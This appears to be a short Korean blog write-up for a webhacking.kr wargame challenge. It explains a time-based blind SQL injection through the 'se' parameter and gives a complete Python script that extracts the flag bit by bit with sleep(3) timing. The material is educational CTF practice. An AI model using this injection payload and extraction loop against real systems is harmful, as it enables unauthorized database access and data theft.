반응형
해당 문제는 Time Based SQL Injection을 통해 문제를 풀었다.
insert 할 때마다 pw 컬럼에 flag를 입력하기 때문에 se 파라미터로 받는 op 컬럼에서 time base로 pw를 확인할 수 있다.
Python3를 이용하여 Efficient SQL Injection 코드를 작성한건 처음이라 적어둔다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | import requests import time import codecs url="https://webhacking.kr/challenge/web-34/index.php?msg=123" flag="" for i in range(1,25): binary='' for bin_l in range(1,8): param = "&se=if(substr(lpad(bin(ascii(substr(pw,"+str(i)+",1))),7,0),"+str(bin_l)+",1)=1,sleep(3),1)" start_time=time.time(); response = requests.get(url+param) if(time.time()-start_time>3): binary+='1' else: binary+='0' print(binary) b2i=int(binary,2) flag = flag+b2i.to_bytes((b2i.bit_length()+7) // 8,'big').decode() print("[+] "+flag) print("[+]Final Flag : "+flag) | cs |
반응형
'Solve Problem > Webhacking.kr' 카테고리의 다른 글
webhacking.kr old-52 writeup (0) | 2020.04.14 |
---|---|
webhacking.kr old-55 writeup (0) | 2020.04.13 |
webhacking.kr old-59 writeup (0) | 2020.04.13 |
webhacking.kr old-60 writeup (0) | 2020.04.13 |
[Webhacking.kr] old-47 (0) | 2020.04.10 |